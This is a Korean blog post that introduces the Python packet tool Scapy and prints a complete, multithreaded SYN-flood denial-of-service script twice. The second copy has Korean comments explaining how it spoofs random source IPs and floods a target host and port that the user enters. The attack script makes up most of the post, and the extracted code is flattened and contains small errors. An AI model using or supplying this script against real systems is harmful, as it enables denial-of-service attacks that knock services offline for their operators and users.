https://m.blog.naver.com/PostView.nhn?blogId=stop2y&logNo=221012770606&proxyReferer=https%3A%2F%2Fwww.google.com%2F

Scapy는 Python 기반의 강력한 양방향(Interactive) 패킷 조작 할 수 있는 기능을 제공합니다. 패킷 캡쳐 및 수 많은 프로토콜의 디코딩 기능과 수정된 패킷을 전송 할 수 있는 기능등을 포함 하고 있으며 또한, Python 프롬프트에서 대화형으로 사용하거나 스크립트나 프로그램에 포함되어 사용 할 수 있습니다. Scapy는 네트워크의 작업들에 대하여(scanning, tracerouting, probing, unit test, attacks or network discovery) 쉽게 처리할 수 있고, Scapy는 hping, arpspoof, arp-sk, arping, p0f and even some parts of Nmap, tcpdump, and tshark을 대체 할 수도 있습니다. 설치 방법은 아래 주소로 가주시면 감사하겠습니다.

import string from scapy.all import * from threading import Thread class synflood(Thread): def init(self,dst_IP,dst_port: Thread.init(self) self.dst_IP=dst_IP self.dst_PORT=dst_port self.running=True self.intercount=0 self.data=(string.ascii_letters+string.digits)*10 def run(self): while self.running: self.synf=IP(src=RandIP(),dst=self.dst_IP,len=65535)/TCP(flags='S',sport=RandShort(),dport=self.dst_PORT) send(self.synf) print('Packet Sent :'+str(self.intercount)) self.intercount+=1 def main(): dst_IP=input('Destination IP : ') dst_PORT=int(input('Destination PORT[num_[plz] : ')) run_thread=int(input('Run Thread[num_plz] : ')) rthread=[] for SF in range(run_thread): SF=synflood(dst_IP,dst_PORT,run_thread) rhread.append(SF) SF.start() if name=='main': main()

class synflood(Thread): def init(self,dst_IP,dst_port,run_thread): Thread.init(self) self.dst_IP=dst_IP self.dst_PORT=dst_port #상대방의 IP와 Port를 받아옵니다. self.running=True #True 값을 running으로 표현하기 위함입니다. self.intercount=0 #패킷이 얼마나 보내졌는지 확인하기 위하여 index 변수를 선언합니다. self.data=(string.ascii_letters+string.digits)*10 #string 모듈을 통해서 아스키의 모든 값과 모든 숫자를 받아와 그것을 더한 뒤 10번 곱한 문자열 변수 입니다.

def run(self): #클래스 내에 run 메소드를 선언하면 후에 쓰레드 모듈을 실행시키게 되면 가장 먼저 run 함수가 백그라운드로 실행됩니다. while self.running: self.synf=IP(src=RandIP(),dst=self.dst_IP,len=65535)/TCP(flags='S',sport=RandShort(),dport=self.dst_PORT, window=1450)/Raw(load=self.data) #IP #src=RandIP()를 통해서 요청 시 IP를 무작위로 생성해서 보냅니다. #dst 상대방의 IP를 설정합니다. #len IP 헤더 내에서 len 길이를 얼마로 설정할지 정합니다 0~65535byte까지 가능합니다. #len의 길이는 곧 IP 패킷의 전체길이를 나타냅니다. #TCP #flags='S' SYN 플래그를 의미합니다. #sport=RandShort() 공격자가 접근하는 포트를 랜덤으로 설정하여 보냅니다. #dport 상대편에게 접속할 port를 뜻합니다. #window는 TCP의 Windowsize를 나타내며 TCP 요청 시 한번에 받을 수 있는 TCP 데이터 양을 뜻합니다. 최대 크기는 65535byte이므로 0~65535까지 설정이 가능합니다. #Raw #데이터를 뜻합니다. 아까 설정해두었던 string 문자열 변수를 SYN Flooding을 시도할 때 껴넣습니다. send(self.synf) print('Packet Sent :'+str(self.intercount)) self.intercount+=1

def main(): dst_IP=input('Destination IP : ') dst_PORT=int(input('Destination PORT[num_[plz] : ')) run_thread=int(input('Run Thread[num_plz] : ')) #이곳에서 IP와 Port 그리고 멀티 쓰레드를 얼마나 구현 할 것인지 선언합니다. rthread=[] for SF in range(run_thread): #구현할 멀티 쓰레드 만큼 반복문을 시도합니다. SF=synflood(dst_IP,dst_PORT,run_thread) #공격 클래스 객체를 선언합니다. rthread.append(SF) SF.start() #백그라운드로 해당 공격 클래스 객체의 run메소드를 실행한 뒤 다시 for 반복문을 진행하여 또다른 공격 쓰레드를 구현함 if name=='main': main()

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/280bd41c-77fb-4709-b9f8-6cc0c81cd783/image_2975432371495555874073.png

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/5948844e-07ad-4f41-a943-57b271a41faa/1.png

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/601002d7-ca0d-438d-b5d4-71912eb10105/2.png